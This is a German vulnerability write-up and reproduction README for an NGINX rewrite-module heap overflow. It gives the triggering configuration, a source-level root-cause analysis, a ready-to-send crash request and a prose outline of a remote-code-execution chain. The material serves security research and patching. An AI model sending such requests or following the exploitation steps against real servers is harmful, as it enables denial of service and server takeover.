CVE-2026-42945 - NGINX Rift Schwachstellenanalyse und Reproduktion

Übersicht

CVE-2026-42945 (Codename „NGINX Rift“) ist eine Heap-basierte Pufferüberlauf-Schwachstelle im NGINX ngx_http_rewrite_module mit einem CVSS v4 Score von 9.2 (Critical).

Die Schwachstelle wurde im April 2026 vom Sicherheitsforschungsteam depthfirst entdeckt und lag seit ihrer Einführung in NGINX 0.6.27 im Jahr 2008 18 Jahre lang verborgen.

Betroffene Versionen

• NGINX Open Source 0.6.27 ~ 1.30.0
• NGINX Plus R32 ~ R36
• NGINX Instance Manager 2.16.0 ~ 2.21.1
• F5 WAF for NGINX 5.9.0 ~ 5.12.1
• NGINX App Protect WAF 4.9.0 ~ 4.16.0 und 5.1.0 ~ 5.8.0
• NGINX Gateway Fabric 1.3.0 ~ 1.6.2 und 2.0.0 ~ 2.5.1
• NGINX Ingress Controller 3.5.0 ~ 3.7.2, 4.0.0 ~ 4.0.1, 5.0.0 ~ 5.4.1

Behobene Versionen

• NGINX 1.31.0 (veröffentlicht am 13. Mai 2026)

Auslösebedingungen

Die Schwachstelle erfordert die folgende NGINX-Konfiguration, um ausgelöst zu werden:

location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;
}

Wichtige Bedingungen:

1. Der Ersetzungsstring der rewrite-Direktive enthält ein ? (Fragezeichen)
2. Eine nachfolgende set-Direktive verweist auf eine Regex-Erfassungsgruppe (z. B. $1)
3. Die Anfrage-URI enthält escape-fähige Zeichen (wie +, &, % usw.)

Ursachenanalyse

Zweiphasenverarbeitung der Skript-Engine

Die Skript-Engine von NGINX verwendet eine Zweiphasenverarbeitung zur Ausführung von rewrite/set-Direktiven:

1. Erste Phase (Längenberechnung): Berechnet die benötigte Speichergröße für den endgültigen String
2. Zweite Phase (Datenkopie): Schreibt die tatsächlichen Daten in den zugewiesenen Puffer

Zustandsinkonsistenz führt zu Überlauf

Der Kern der Schwachstelle liegt in der Zustandsinkonsistenz der Engine zwischen den beiden Phasen:

Phase 1: rewrite setzt das is_args-Flag

Wenn der Ersetzungsstring der rewrite-Direktive ein ? enthält, setzt die Funktion ngx_http_script_start_args_code:

void ngx_http_script_start_args_code(ngx_http_script_engine_t *e)
{
    e->is_args = 1;  // 永久设置，从不重置！
    e->args = e->pos;
    e->ip += sizeof(uintptr_t);
}

Phase 2: Die Längenberechnung der set-Direktive verwendet eine völlig neue Unter-Engine

Wenn eine nachfolgende set-Direktive auf eine Erfassungsgruppe verweist, erstellt ngx_http_script_complex_value_code eine vollständig nullgesetzte Unter-Engine:

void ngx_http_script_complex_value_code(ngx_http_script_engine_t *e)
{
    ngx_http_script_engine_t le;
    // ...
    ngx_memzero(&le, sizeof(ngx_http_script_engine_t)); // le.is_args = 0
    le.ip = code->lengths->elts;

Phase 3: Divergenz zwischen Längenberechnung und tatsächlichem Kopieren

Längenberechnung (mit Unter-Engine le, is_args=0):

// ngx_http_script_copy_capture_len_code
if ((e->is_args || e->quote) && (e->request->quoted_uri || e->request->plus_in_uri))
{
    // is_args=0，条件为 false，走 else 分支
    return cap[n + 1] - cap[n];  // 返回原始长度（未转义）
}

Tatsächliches Kopieren (mit Haupt-Engine e, is_args=1):

// ngx_http_script_copy_capture_code
if ((e->is_args || e->quote) && (e->request->quoted_uri || e->request->plus_in_uri))
{
    // is_args=1，条件为 true，走 if 分支
    e->pos = (u_char *) ngx_escape_uri(pos, &p[cap[n]],
                                        cap[n + 1] - cap[n],
                                        NGX_ESCAPE_ARGS);
    // 每个可转义字符从 1 字节扩展为 3 字节！
}

Überlaufgröße

• Zugewiesene Puffergröße: raw_size (ursprüngliche Erfassungslänge)
• Tatsächliche Schreibgröße: raw_size + 2 * N (N = Anzahl der escape-fähigen Zeichen)
• Überlaufmenge = 2 * N Bytes

Zum Beispiel: Wenn die URI 100 +-Zeichen enthält, beträgt der Überlauf 200 Bytes.

Ausnutzungsmöglichkeiten

1. DoS (Denial of Service)

Die einfachste Ausnutzungsmethode – das Senden einer Anfrage mit vielen escape-fähigen Zeichen führt zum Absturz des Worker-Prozesses:

GET /api/+++++++++++++++++++++++++++++++++++ HTTP/1.1
Host: target.com

2. RCE (Remote Code Execution)

Vollständige RCE-Ausnutzungskette (erfordert deaktiviertes oder umgangenes ASLR):

1. Heap-Layout-Kontrolle: Steuerung des Heap-Layouts von ngx_pool_t über die Verbindungsreihenfolge
2. Überlauf überschreibt cleanup-Zeiger: Überlauf in die benachbarte Speicherpool-Struktur
3. Sprayen gefälschter cleanup-Strukturen: Injizieren gefälschter Strukturen mit der Adresse von system() über den POST-Request-Body
4. Auslösen der Ausführung: Schließen der Opferverbindung, wodurch ngx_destroy_pool die cleanup-Liste durchläuft

Die Multi-Prozess-Architektur von NGINX macht die Ausnutzung zuverlässiger – nach einem Worker-Absturz fork'd der Master einen neuen Worker mit identischem Speicherlayout.

Dateibeschreibung

• README.md - Diese Datei, Schwachstellenanalyse-Dokument
• Dockerfile - Erstellt eine verwundbare NGINX-Umgebung
• nginx.conf - NGINX-Konfiguration zum Auslösen der Schwachstelle
• poc_crash.py - DoS PoC (löst Worker-Absturz aus)
• docker-compose.yml - Testumgebung mit einem Befehl starten

Schnelle Reproduktion

# 1. 构建并启动易受攻击的 NGINX
docker-compose up -d

# 2. 运行 DoS PoC
python3 poc_crash.py

# 3. 查看 NGINX 错误日志确认崩溃
docker-compose logs nginx

Referenzen

• NGINX Offizielle CHANGES - Sicherheitsankündigung
• depthfirst Forschungsbericht - Technische Analyse der ursprünglichen Entdecker
• F5 Sicherheitshinweis K000160932 - Offizielles Sicherheitsbulletin

Haftungsausschluss

Dieses Material dient ausschließlich Sicherheitsforschungs- und Bildungszwecken. Verwenden Sie diese Informationen nicht für unbefugte Angriffe.